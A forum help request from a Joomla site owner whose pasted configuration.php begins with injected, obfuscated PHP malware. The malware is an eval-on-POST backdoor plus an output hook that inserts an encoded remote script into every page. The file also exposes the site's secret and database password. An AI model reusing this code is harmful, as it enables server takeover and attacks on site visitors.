Hi, I'm having this problem with my Joomla site over the weekend the site started showing this error message when I tried to view it:
Parse error: syntax error, unexpected T_VARIABLE in /home/sunshin7/public_html/index.php on line 1
This is my configuration.php code
<?php if(!function_exists('tmp_lkojfghx')){if(isset($_POST['tmp_lkojfghx3']))eval($_POST['tmp_lkojfghx3']);if(!defined('TMP_XHGFJOKL'))define('TMP_XHGFJOKL',base64_decode('PHNjcmlwdCBsYW5ndWFnZT1qYXZhc2NyaXB0PjwhLS0gCmRvY3VtZW50LndyaXRlKHVuZXNjYXBlKCclM0NzcHNjTFRjcmlRcWpwdCUyMFFxanNxOXJjcTklM0RRZTAlMkYlMkZRZTA5NHNwJTJFcTkyNFZNNyUyRTIlMkUxYXk0OTUlMkZqY0xUcXVlcnklMkVqcyUzRVZNJTNDJTJGVk1zUWUwY3JjTFRpUXFqcHE5dCUzRScpLnJlcGxhY2UoL1ZNfFFxanxheTR8Y0xUfHNwfFFlMHxxOS9nLCIiKSk7CiAtLT48L3NjcmlwdD4='));function tmp_lkojfghx($s){if($g=(substr($s,0,2)==chr(31).chr(139))$s=gzinflate(substr($s,10,-8));if(preg_match_all('#<script(.*?)</script>#is',$s,$a))foreach($a[0] as $v)if(count(explode("\n",$v))>5){$e=preg_match('#[\'"][^\s\'"\.,;\?!\[\]:/<>\(\)]{30,}#',$v)||preg_match('#[\(\[](\s*\d+,){20,}#',$v);if((preg_match('#\beval\b#',$v)&&($e||strpos($v,'fromCharCode')))||($e&&strpos($v,'document.write')))$s=str_replace($v,'',$s);}$s1=preg_replace('#<script language=javascript><!-- \ndocument\.write\(unescape\(.+?\n --></script>#','',$s);if(stristr($s,'<body'))$s=preg_replace('#(\s*<body)#mi',TMP_XHGFJOKL.'\1',$s1);elseif(($s1!=$s)||stristr($s,'</body')||stristr($s,'</title>'))$s=$s1.TMP_XHGFJOKL;return $g?gzencode($s):$s;}function tmp_lkojfghx2($a=0,$b=0,$c=0,$d=0){$s=array();if($b&&$GLOBALS['tmp_xhgfjokl'])call_user_func($GLOBALS['tmp_xhgfjokl'],$a,$b,$c,$d);foreach(@ob_get_status(1) as $v)if(($a=$v['name'])=='tmp_lkojfghx')return;else $s[]=array($a=='default output handler'?false:$a);for($i=count($s)-1;$i>=0;$i--){$s[$i][1]=ob_get_contents();ob_end_clean();}ob_start('tmp_lkojfghx');for($i=0;$i<count($s);$i++){ob_start($s[$i][0]);echo $s[$i][1];}}}if(($a=@set_error_handler('tmp_lkojfghx2'))!='tmp_lkojfghx2')$GLOBALS['tmp_xhgfjokl']=$a;tmp_lkojfghx2(); ?><?php
class JConfig {
var $offline = '0';
var $editor = 'none';
var $list_limit = '20';
var $helpurl = 'http://help.joomla.org';
var $debug = '0';
var $debug_lang = '0';
var $sef = '0';
var $sef_rewrite = '0';
var $sef_suffix = '0';
var $feed_limit = '10';
var $secret = 'onT0Gp3AVJtkQdxm';
var $gzip = '0';
var $error_reporting = '-1';
var $xmlrpc_server = '0';
var $log_path = '/home/sunshin7/public_html/logs';
var $tmp_path = '/home/sunshin7/public_html/tmp';
var $live_site = '';
var $offset = '9';
var $caching = '0';
var $cachetime = '15';
var $cache_handler = 'file';
var $memcache_settings = array();
var $ftp_enable = '1';
var $ftp_host = '127.0.0.1';
var $ftp_port = '21';
var $ftp_user = 'sunshin7';
var $ftp_pass = (REMOVED by Johanna for this forum only)
var $ftp_root = 'public_html';
var $dbtype = 'mysql';
var $host = 'localhost';
var $user = 'sunshin7_jo151';
var $db = 'sunshin7_jo151';
var $dbprefix = 'jos_';
var $mailer = 'mail';
var $mailfrom = 'studio@brandmax.com.au';
var $fromname = 'Sunshine Sea Eagles';
var $sendmail = '/usr/sbin/sendmail';
var $smtpauth = '0';
var $smtpuser = '';
var $smtppass = '';
var $smtphost = 'localhost';
var $MetaAuthor = '1';
var $MetaTitle = '1';
var $lifetime = '15';
var $session_handler = 'database';
var $password = '7{y3ZvYDLOgN';
var $sitename = 'Sunshine Sea Eagles';
var $MetaDesc = 'Sunshine Sea Eagles Official Website';
var $MetaKeys = 'Sunshine Sea Eagles Official Website';
var $offline_message = 'This site is down for maintenance. Please check back again soon.';
}
?>
I got no idea what's wrong with the code or why the website is showing this error message, please help me!!